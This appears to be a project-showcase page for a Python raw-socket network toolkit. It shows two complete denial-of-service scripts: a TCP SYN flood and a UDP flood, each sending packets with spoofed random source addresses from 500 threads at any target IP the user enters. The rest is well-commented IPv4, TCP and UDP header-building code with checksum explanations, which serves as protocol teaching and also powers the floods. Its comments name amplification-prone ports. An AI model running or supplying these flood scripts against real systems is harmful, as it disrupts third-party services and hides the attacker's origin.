Cybersecurity / Networking / Systems Programming

NetProbe — Low-Level Network Analysis Toolkit

Built a low-level network toolkit in Python from scratch — raw sockets, manual IPv4/TCP/UDP header construction, RFC 1071 checksums, live packet capture, SYN port scanner, and DoS simulation. No external libraries.

Tools: Python, Socket, Struct, Threading, ThreadPoolExecutor, Linux Raw Sockets, Wireshark (for verification), Kali Linux

Added: February 25, 2026

netprobe/attacks/syn_flood.py python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import os
import sys
import socket
import random
from concurrent.futures import ThreadPoolExecutor

sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from core.ip_header import IPHeader
from core.tcp_header import TCPFlags, TCPHeader

packets_sent = 0


def random_ip() -> str:
    return f"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"


def flood_packet(target_ip: str, target_port: int, sock: socket.socket) -> None:
    global packets_sent

    src_ip = random_ip()
    src_port = random.randint(1024, 65535)

    tcp_obj = TCPHeader(src_port=src_port, dst_port=target_port, flags=TCPFlags.SYN)
    tcp_header = tcp_obj.build(src_ip, target_ip)

    ip_obj = IPHeader(src=src_ip, dst=target_ip, ttl=random.randint(64, 128))
    ip_header = ip_obj.build(payload_length=len(tcp_header))

    packet = ip_header + tcp_header

    try:
        sock.sendto(packet, (target_ip, 0))
        packets_sent += 1
        if packets_sent % 1000 == 0:
            print(f"[*] Packets sent: {packets_sent}")
    except Exception:
        pass


def main() -> None:
    target_ip = input("Target IP: ").strip()
    target_port = input("Target port [default: 80]: ").strip()
    target_port = int(target_port) if target_port else 80

    print(f"\n[!] Starting SYN flood on {target_ip}:{target_port}")
    print(f"[!] Press Ctrl+C to stop\n")

    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    try:
        with ThreadPoolExecutor(max_workers=500) as executor:
            while True:
                executor.submit(flood_packet, target_ip, target_port, sock)
    except KeyboardInterrupt:
        print(f"\n[*] Flood stopped.")
        print(f"[*] Total packets sent: {packets_sent}")
        sock.close()


if __name__ == '__main__':
    main()
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import os
import sys
import socket
import random
from concurrent.futures import ThreadPoolExecutor

sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from core.ip_header import IPHeader
from core.udp_header import UDPHeader

packets_sent = 0


def random_ip() -> str:
    return f"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"


def flood_packet(target_ip: str, target_port: int, sock: socket.socket) -> None:
    global packets_sent

    src_ip = random_ip()
    src_port = random.randint(1024, 65535)

    udp_obj = UDPHeader(src_port=src_port, dst_port=target_port)
    udp_header = udp_obj.build(src_ip, target_ip)

    ip_obj = IPHeader(
        src=src_ip,
        dst=target_ip,
        protocol=17,
        ttl=random.randint(64, 128)
    )
    ip_header = ip_obj.build(payload_length=len(udp_header))

    packet = ip_header + udp_header

    try:
        sock.sendto(packet, (target_ip, 0))
        packets_sent += 1
        if packets_sent % 1000 == 0:
            print(f"[*] Packets sent: {packets_sent}")
    except Exception:
        pass


def main() -> None:
    target_ip = input("Target IP: ").strip()
    target_port = input("Target port [default: 53]: ").strip()
    target_port = int(target_port) if target_port else 53

    print(f"\n[!] Starting UDP flood on {target_ip}:{target_port}")
    print(f"[!] Press Ctrl+C to stop\n")

    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    try:
        with ThreadPoolExecutor(max_workers=500) as executor:
            while True:
                executor.submit(flood_packet, target_ip, target_port, sock)
    except KeyboardInterrupt:
        print(f"\n[*] Flood stopped.")
        print(f"[*] Total packets sent: {packets_sent}")
        sock.close()


if __name__ == '__main__':
    main()
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
"""
core/ip_header.py — IPv4 Header Construction from Scratch
==========================================================

WHAT IS AN IP HEADER?
Every packet traveling across the internet begins with an IP header.
It's the envelope — it tells routers where the packet came from,
where it's going, and how to handle it. We're building this byte
by byte, which means we need to understand exactly what each field
means and how big it is.

RFC 791 is the spec: https://tools.ietf.org/html/rfc791
"""

import socket
import struct
import random


class IPHeader:
    """
    Represents and serializes an IPv4 header.

    Usage:
        ip = IPHeader(src="192.168.1.1", dst="10.0.0.1")
        raw_bytes = ip.build(payload_length=20)  # 20 = TCP header size
    """

    # Protocol numbers are standardized by IANA.
    # When the IP layer receives a packet, it looks at this field
    # to know which module should handle the payload.
    PROTO_TCP = socket.IPPROTO_TCP   # 6
    PROTO_UDP = socket.IPPROTO_UDP   # 17
    PROTO_ICMP = socket.IPPROTO_ICMP # 1

    def __init__(
        self,
        src: str,
        dst: str,
        protocol: int = PROTO_TCP,
        ttl: int = 64,
        flags: int = 0,
        frag_offset: int = 0,
        tos: int = 0,
    ):
        """
        Args:
            src          : Source IP as dotted-decimal string e.g. "192.168.1.1"
            dst          : Destination IP as dotted-decimal string
            protocol     : What's inside the payload? TCP=6, UDP=17, ICMP=1
            ttl          : Time To Live — each router decrements this by 1.
                           When it hits 0, the packet is dropped and an ICMP
                           "Time Exceeded" is sent back. Prevents infinite loops.
                           Linux default is 64, Windows is 128.
            flags        : 3-bit field.
                           Bit 0: Reserved, must be 0
                           Bit 1: DF (Don't Fragment) — routers must not split packet
                           Bit 2: MF (More Fragments) — more fragments follow this one
            frag_offset  : If a large packet was fragmented, this tells the receiver
                           where in the original datagram this fragment belongs.
                           Unit is 8-byte blocks (so multiply by 8 to get byte offset).
            tos          : Type of Service — used for QoS (Quality of Service).
                           Modern networks use DSCP instead, but this byte remains.
        """
        self.src = src
        self.dst = dst
        self.protocol = protocol
        self.ttl = ttl
        self.flags = flags
        self.frag_offset = frag_offset
        self.tos = tos

        # IP header version. We're always IPv4 here.
        self.version = 4

        # IHL = Internet Header Length, measured in 32-bit words (4-byte units).
        # A standard header with no options = 20 bytes = 5 words.
        # Options can extend this up to 60 bytes (15 words), but we won't use them.
        self.ihl = 5

        # Identification: a 16-bit ID assigned by the sender.
        # If a packet is fragmented, all fragments share the same ID so the
        # receiver can reassemble them. We randomize it for each instance.
        self.identification = random.randint(1, 65535)

    def build(self, payload_length: int = 0) -> bytes:
        """
        Serialize the IP header into raw bytes ready to send.

        STRUCT FORMAT STRING EXPLAINED: "!BBHHHBBH4s4s"
        -----------------------------------------------
        '!'  = Network byte order (Big-Endian). The internet standard.
               x86 CPUs are Little-Endian, so struct handles the flip for us.
               CRITICAL: Without this, your checksums and lengths will be wrong.

        'B'  = unsigned char  = 1 byte  (8 bits)
        'H'  = unsigned short = 2 bytes (16 bits)
        '4s' = 4-byte string  (used for packed IP addresses)

        Field by field:
          B  = version(4) + ihl(4) packed into 1 byte  ← we do this manually below
          B  = tos
          H  = total_length (header + payload)
          H  = identification
          H  = flags(3 bits) + frag_offset(13 bits) packed into 2 bytes
          B  = ttl
          B  = protocol
          H  = checksum (0 during calculation, then replaced)
          4s = source IP as 4 packed bytes
          4s = destination IP as 4 packed bytes

        Args:
            payload_length: Size of the payload (e.g., TCP header + data) in bytes.

        Returns:
            20-byte IP header as bytes object.
        """

        # Total length = IP header (20 bytes) + everything after it
        total_length = (self.ihl * 4) + payload_length

        # Pack version and IHL into a single byte.
        # version=4 goes in the HIGH nibble, ihl=5 in the LOW nibble.
        # Visually: 0100 0101 = 0x45
        # (4 << 4) shifts 4 into position: 0100_0000
        # | 5 sets the lower bits:         0100_0101
        ver_ihl = (self.version << 4) | self.ihl

        # Pack flags and fragment offset into a 16-bit field.
        # flags occupy the top 3 bits, frag_offset the bottom 13.
        # (flags << 13) | frag_offset
        flags_frag = (self.flags << 13) | self.frag_offset

        # Convert dotted-decimal IPs to 4-byte packed binary.
        # "192.168.1.1" → b'\xc0\xa8\x01\x01'
        # socket.inet_aton does exactly this conversion.
        src_bytes = socket.inet_aton(self.src)
        dst_bytes = socket.inet_aton(self.dst)

        # First pass: build the header with checksum = 0.
        # We MUST set checksum to 0 before computing it — the algorithm
        # treats the checksum field as 0 during computation.
        header = struct.pack(
            "!BBHHHBBH4s4s",
            ver_ihl,           # B: version + IHL
            self.tos,          # B: type of service
            total_length,      # H: total packet length
            self.identification,# H: packet ID
            flags_frag,        # H: flags + fragment offset
            self.ttl,          # B: time to live
            self.protocol,     # B: next-layer protocol
            0,                 # H: checksum placeholder — MUST be 0 first
            src_bytes,         # 4s: source address
            dst_bytes,         # 4s: destination address
        )

        # Second pass: compute the real checksum and rebuild.
        checksum = self._calculate_checksum(header)

        # Rebuild with the actual checksum slotted in.
        header = struct.pack(
            "!BBHHHBBH4s4s",
            ver_ihl,
            self.tos,
            total_length,
            self.identification,
            flags_frag,
            self.ttl,
            self.protocol,
            checksum,          # ← real checksum now
            src_bytes,
            dst_bytes,
        )

        return header

    def _calculate_checksum(self, data: bytes) -> int:
        """
        RFC 1071 Internet Checksum Algorithm.

        WHY DO WE NEED A CHECKSUM?
        --------------------------
        Network hardware can corrupt bits. The checksum lets the receiver
        detect this. If the received checksum doesn't match, the packet
        is silently discarded.

        HOW IT WORKS (One's Complement Sum):
        -------------------------------------
        1. Split the header into 16-bit (2-byte) words.
        2. Add all the words together. If any addition overflows 16 bits,
           wrap the overflow back into the sum (one's complement addition).
        3. Take the bitwise complement (flip all bits) of the result.
        4. That's your checksum.

        VERIFICATION (how the receiver checks it):
        -------------------------------------------
        The receiver runs the same algorithm on the received header
        INCLUDING the checksum field. If everything is intact, the result
        will be 0xFFFF (all ones), which in one's complement means "valid".

        Args:
            data: The raw bytes to checksum (header with checksum field = 0).

        Returns:
            16-bit checksum as an integer.
        """
        # If data length is odd, pad with a zero byte.
        # The algorithm works on 16-bit pairs, so we need even length.
        if len(data) % 2 != 0:
            data += b'\x00'

        checksum = 0

        # Iterate over 2 bytes at a time.
        # range(0, len, 2) gives us indices: 0, 2, 4, 6, ...
        for i in range(0, len(data), 2):
            # Combine two adjacent bytes into a 16-bit word.
            # data[i] is the HIGH byte, data[i+1] is the LOW byte.
            # (high << 8) shifts it 8 bits left to make room for low.
            # Example: 0x45 and 0x00 → 0x4500
            word = (data[i] << 8) + data[i + 1]
            checksum += word

        # Handle overflow: if the sum exceeded 16 bits, the upper bits
        # (the "carry") need to be folded back in.
        # (checksum >> 16) extracts the carry (bits above position 15).
        # We keep doing this until there's no carry left.
        while checksum >> 16:
            checksum = (checksum & 0xFFFF) + (checksum >> 16)

        # One's complement: flip every bit.
        # ~checksum in Python gives a negative number because Python integers
        # are arbitrary-precision, so we AND with 0xFFFF to keep only 16 bits.
        return ~checksum & 0xFFFF

    def __repr__(self) -> str:
        return (
            f"IPHeader(src={self.src}, dst={self.dst}, "
            f"proto={self.protocol}, ttl={self.ttl}, id={self.identification:#06x})"
        )
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
"""
core/tcp_header.py — TCP Header Construction from Scratch
==========================================================

WHAT IS TCP?
TCP (Transmission Control Protocol) sits on top of IP. While IP handles
routing packets from A to B, TCP handles:
  - Reliability: guarantees delivery via acknowledgments (ACKs)
  - Ordering: reassembles out-of-order segments
  - Flow control: doesn't overwhelm the receiver
  - Connection state: SYN → SYN-ACK → ACK (the "three-way handshake")

THE KEY DIFFERENCE FROM IP CHECKSUM:
TCP's checksum covers not just the TCP header+data, but also a "pseudo-header"
pulled from the IP layer. This means TCP and IP are coupled — the TCP checksum
will change if the source IP changes. This is intentional: it detects misrouted
packets.

RFC 793 is the spec: https://tools.ietf.org/html/rfc793

TCP HEADER STRUCTURE (20 bytes minimum):
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Source Port          |       Destination Port        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Sequence Number                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Acknowledgment Number                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Data |           |U|A|P|R|S|F|                               |
| Offset| Reserved  |R|C|S|S|Y|I|            Window             |
|       |           |G|K|H|T|N|N|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Checksum            |         Urgent Pointer        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
"""

import socket
import struct
import random


class TCPFlags:
    """
    TCP control flags. These single bits in the header control connection state.

    WHY DO FLAGS MATTER FOR SECURITY TOOLS?
    ----------------------------------------
    - SYN-only:        Starting a connection (SYN flood exploits this)
    - SYN+ACK:         Server's response to SYN
    - ACK-only:        Data acknowledgment
    - FIN:             Graceful close (one direction)
    - RST:             Abrupt close / reject
    - PSH:             "Deliver this immediately" — don't buffer
    - URG:             Urgent data present (rare, often exploited in old attacks)

    Port scanners like nmap send crafted flag combinations and analyze responses
    to fingerprint OSes and detect firewall behavior.
    """
    
    SYN = 0x02  # 0b00000010 — Synchronize (initiate connection)
    ACK = 0x10  # 0b00010000 — Acknowledgment
    FIN = 0x01  # 0b00000001 — Finish
    RST = 0x04  # 0b00000100 — Reset (abort connection)
    PSH = 0x08  # 0b00001000 — Push (don't buffer, deliver now)
    URG = 0x20  # 0b00100000 — Urgent pointer is valid

    # Common combinations
    SYN_ACK = SYN | ACK   # 0x12 — server's handshake response
    FIN_ACK = FIN | ACK   # 0x11 — graceful teardown step

    @staticmethod
    def to_string(flags: int) -> str:
        """Convert a flags byte to a human-readable label like 'SYN|ACK'."""
        names = []
        mapping = [
            (TCPFlags.FIN, "FIN"),
            (TCPFlags.SYN, "SYN"),
            (TCPFlags.RST, "RST"),
            (TCPFlags.PSH, "PSH"),
            (TCPFlags.ACK, "ACK"),
            (TCPFlags.URG, "URG"),
        ]
        for bit, name in mapping:
            if flags & bit:
                names.append(name)
        return "|".join(names) if names else "NONE"

    @staticmethod
    def from_string(flag_str: str) -> int:
        """
        Parse a string like "SYN" or "SYN|ACK" into the integer flags value.
        Useful for building packets from human-readable specifications.
        """
        mapping = {
            "FIN": TCPFlags.FIN,
            "SYN": TCPFlags.SYN,
            "RST": TCPFlags.RST,
            "PSH": TCPFlags.PSH,
            "ACK": TCPFlags.ACK,
            "URG": TCPFlags.URG,
        }
        result = 0
        for part in flag_str.upper().split("|"):
            part = part.strip()
            if part not in mapping:
                raise ValueError(f"Unknown TCP flag: '{part}'. Valid flags: {list(mapping.keys())}")
            result |= mapping[part]
        return result


class TCPHeader:
    """
    Represents and serializes a TCP header.

    Usage:
        tcp = TCPHeader(
            src_port=12345,
            dst_port=80,
            flags=TCPFlags.SYN
        )
        raw_bytes = tcp.build(src_ip="192.168.1.1", dst_ip="10.0.0.1")
    """

    def __init__(
        self,
        src_port: int,
        dst_port: int,
        flags: int = TCPFlags.SYN,
        seq: int = None,
        ack_seq: int = 0,
        window: int = 65535,
        urgent_ptr: int = 0,
        data: bytes = b"",
    ):
        """
        Args:
            src_port   : Source port number (1–65535).
                         For crafted packets, this is often randomized to avoid
                         conflicts with the OS's connection tracking.
            dst_port   : Destination port. 80=HTTP, 443=HTTPS, 22=SSH, etc.
            flags      : Control flags (use TCPFlags constants or | combinations).
            seq        : Sequence number. Tracks which byte of the stream this is.
                         ISN (Initial Sequence Number) should be random for security —
                         predictable ISNs led to TCP hijacking attacks in the 90s.
                         If None, we generate a random 32-bit value.
            ack_seq    : Acknowledgment number. "I've received everything up to
                         this byte, send me the next one." Only meaningful when
                         ACK flag is set.
            window     : Receive window size. Tells the sender how many bytes
                         the receiver can buffer. 65535 is the maximum without
                         window scaling (TCP option we're not implementing here).
            urgent_ptr : Only relevant when URG flag is set. Points to end of
                         urgent data. Rarely used in practice.
            data       : Payload bytes (application data). Usually empty for
                         crafted control packets like SYN.
        """
        self.src_port = src_port
        self.dst_port = dst_port
        self.flags = flags
        self.seq = seq if seq is not None else random.randint(0, 2**32 - 1)
        self.ack_seq = ack_seq
        self.window = window
        self.urgent_ptr = urgent_ptr
        self.data = data

        # Data Offset: indicates where the data begins (i.e., header length).
        # Measured in 32-bit words, just like IP's IHL.
        # Minimum TCP header = 20 bytes = 5 words. We don't use options.
        self.data_offset = 5

    def build(self, src_ip: str, dst_ip: str) -> bytes:
        """
        Serialize the TCP header + data into raw bytes.

        WHY DOES TCP'S build() NEED THE IPs?
        --------------------------------------
        TCP's checksum algorithm requires a "pseudo-header" — a temporary
        12-byte structure containing source IP, destination IP, protocol,
        and TCP segment length. This ties the TCP checksum to the IP
        addresses, so misrouted packets (with correct IP headers but wrong
        TCP payload) will be detected.

        The pseudo-header is ONLY used for checksum calculation.
        It is NOT transmitted on the wire.

        Args:
            src_ip: Source IP (must match the IP header you'll use)
            dst_ip: Destination IP

        Returns:
            TCP header + data as bytes.
        """
        # data_offset is in the HIGH nibble of this byte (top 4 bits).
        # The low 4 bits are reserved (set to 0).
        # So: (5 << 4) | 0 = 0x50
        data_offset_reserved = (self.data_offset << 4) + 0

        # TCP length = header (20 bytes) + data
        tcp_segment_length = 20 + len(self.data)

        # Build the pseudo-header for checksum calculation.
        # Structure (12 bytes):
        #   4s = source IP
        #   4s = destination IP
        #   B  = zero padding (always 0)
        #   B  = protocol (always 6 for TCP)
        #   H  = TCP segment length (header + data)
        pseudo_header = struct.pack(
            "!4s4sBBH",
            socket.inet_aton(src_ip),   # source IP
            socket.inet_aton(dst_ip),   # destination IP
            0,                           # reserved zero byte
            socket.IPPROTO_TCP,          # protocol = 6
            tcp_segment_length,          # TCP length
        )

        # Build the TCP header with checksum = 0 first.
        # Format: "!HHIIHHHH"
        #   H = src_port
        #   H = dst_port
        #   I = seq (32-bit unsigned int)
        #   I = ack_seq (32-bit unsigned int)
        #   H = data_offset(4) + reserved(6) + flags(6) packed into 16 bits
        #   H = window
        #   H = checksum (0 for now)
        #   H = urgent pointer

        # Pack data_offset, reserved, and flags into the same 16-bit field.
        # Structure:
        #   [15:12] = data offset (4 bits)
        #   [11:6]  = reserved   (6 bits, must be 0)
        #   [5:0]   = flags      (6 bits)
        # Formula: (data_offset << 12) | (0 << 6) | flags
        offset_flags = (self.data_offset << 12) | (0 << 6) | self.flags

        tcp_header = struct.pack(
            "!HHIIHHHH",
            self.src_port,      # H: source port
            self.dst_port,      # H: destination port
            self.seq,           # I: sequence number (32-bit)
            self.ack_seq,       # I: acknowledgment number (32-bit)
            offset_flags,       # H: data offset + reserved + flags
            self.window,        # H: window size
            0,                  # H: checksum placeholder
            self.urgent_ptr,    # H: URG Pointer
        )

        # The checksum input = pseudo_header + tcp_header + data.
        # We checksum all of it together.
        checksum_input = pseudo_header + tcp_header + self.data
        checksum = self._calculate_checksum(checksum_input)

        # Rebuild with real checksum.
        tcp_header = struct.pack(
            "!HHIIHHHH",
            self.src_port,
            self.dst_port,
            self.seq,
            self.ack_seq,
            offset_flags,
            self.window,
            checksum,           # ← real checksum
            self.urgent_ptr,
        )

        return tcp_header + self.data

    def _calculate_checksum(self, data: bytes) -> int:
        """
        Same RFC 1071 one's complement checksum as IP.
        (We could inherit from a base class — refactoring opportunity for later!)
        """
        if len(data) % 2 != 0:
            data += b'\x00'

        checksum = 0
        for i in range(0, len(data), 2):
            word = (data[i] << 8) + data[i + 1]
            checksum += word

        while checksum >> 16:
            checksum = (checksum & 0xFFFF) + (checksum >> 16)

        return ~checksum & 0xFFFF

    def __repr__(self) -> str:
        return (
            f"TCPHeader(src_port={self.src_port}, dst_port={self.dst_port}, "
            f"flags={TCPFlags.to_string(self.flags)}, seq={self.seq:#010x}, "
            f"ack={self.ack_seq:#010x})"
        )
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
"""
core/udp_header.py — UDP Header Construction from Scratch
==========================================================

WHAT IS UDP?
UDP (User Datagram Protocol) is TCP's simpler cousin.
It trades reliability for speed:
  - No connection setup (no handshake)
  - No acknowledgments or retransmission
  - No ordering guarantees
  - Minimal header overhead (8 bytes vs TCP's 20)

WHO USES UDP?
  - DNS (port 53): You want fast lookups, not guaranteed delivery
  - DHCP (port 67/68): Network configuration at boot
  - Video streaming (port varies): A dropped frame is better than a late one
  - VoIP / online games: Latency matters more than perfection
  - NTP (port 123): Time sync

WHY DOES UDP MATTER FOR SECURITY?
  - UDP flood attacks: Easy to generate massive volumes with no handshake overhead
  - DNS amplification: Small query → large response, used in DDoS amplification
  - UDP port scanning: Different responses reveal port state

UDP HEADER (just 8 bytes!):
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Source Port          |       Destination Port        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            Length             |           Checksum            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     Data (variable)                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

RFC 768: https://tools.ietf.org/html/rfc768
"""

import socket
import struct


class UDPHeader:
    """
    Represents and serializes a UDP header.

    Notice how much simpler this is than TCP. That simplicity is exactly
    why UDP is used for high-throughput applications — and also why it's
    easy to flood.

    Usage:
        udp = UDPHeader(src_port=54321, dst_port=53, data=b"\\x00\\x01...")
        raw_bytes = udp.build(src_ip="192.168.1.1", dst_ip="8.8.8.8")
    """

    def __init__(self, src_port: int, dst_port: int, data: bytes = b""):
        """
        Args:
            src_port : Source port (can be randomized for UDP floods/spoofing).
            dst_port : Destination port. Common targets: 53 (DNS), 123 (NTP),
                       161 (SNMP), 19 (chargen — classic amplification target).
            data     : Payload bytes. Often a DNS query, NTP request, etc.
        """
        self.src_port = src_port
        self.dst_port = dst_port
        self.data = data

    def build(self, src_ip: str, dst_ip: str) -> bytes:
        """
        Serialize UDP header + data into raw bytes.

        NOTE ON UDP CHECKSUM:
        ---------------------
        Unlike TCP where the checksum is mandatory, the UDP checksum is
        technically optional in IPv4 — a value of 0x0000 means "no checksum".
        However, in IPv6, UDP checksum is mandatory (since IPv6 has no IP
        header checksum). We always compute it here for correctness.

        Like TCP, UDP uses the same IP pseudo-header for checksum computation.
        This is defined in RFC 768.

        Args:
            src_ip: Must match the IP header (for checksum correctness).
            dst_ip: Destination IP.

        Returns:
            UDP header (8 bytes) + data.
        """

        # UDP length field = header (8 bytes) + data length.
        # This is different from IP's total_length which includes the IP header.
        udp_length = 8 + len(self.data)

        # Build the pseudo-header (same concept as TCP's).
        # 12 bytes: src_ip, dst_ip, zero, protocol=17, udp_length
        pseudo_header = struct.pack(
            "!4s4sBBH",
            socket.inet_aton(src_ip),
            socket.inet_aton(dst_ip),
            0,                          # zero padding byte
            socket.IPPROTO_UDP,         # protocol = 17
            udp_length,                 # UDP length (NOT TCP length, not IP length)
        )

        # Build UDP header with checksum = 0 for calculation.
        # Format: "!HHHH"
        #   H = source port
        #   H = destination port
        #   H = length
        #   H = checksum
        udp_header = struct.pack(
            "!HHHH",
            self.src_port,
            self.dst_port,
            udp_length,
            0,              # checksum = 0 initially
        )

        # Checksum covers: pseudo_header + udp_header + data
        checksum_input = pseudo_header + udp_header + self.data
        checksum = self._calculate_checksum(checksum_input)

        # Rebuild with real checksum.
        # Edge case: if checksum computes to 0x0000, we must send 0xFFFF instead.
        # (Because 0x0000 is the "no checksum" sentinel value in UDP.)
        if checksum == 0:
            checksum = 0xFFFF

        udp_header = struct.pack(
            "!HHHH",
            self.src_port,
            self.dst_port,
            udp_length,
            checksum,
        )

        return udp_header + self.data

    def _calculate_checksum(self, data: bytes) -> int:
        """RFC 1071 one's complement checksum — same algorithm as IP and TCP."""
        if len(data) % 2 != 0:
            data += b'\x00'

        checksum = 0
        for i in range(0, len(data), 2):
            word = (data[i] << 8) + data[i + 1]
            checksum += word

        while checksum >> 16:
            checksum = (checksum & 0xFFFF) + (checksum >> 16)

        return ~checksum & 0xFFFF

    def __repr__(self) -> str:
        return (
            f"UDPHeader(src_port={self.src_port}, dst_port={self.dst_port}, "
            f"data_len={len(self.data)} bytes)"
        )
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
# NetProbe — Protocol Notes & Project Documentation

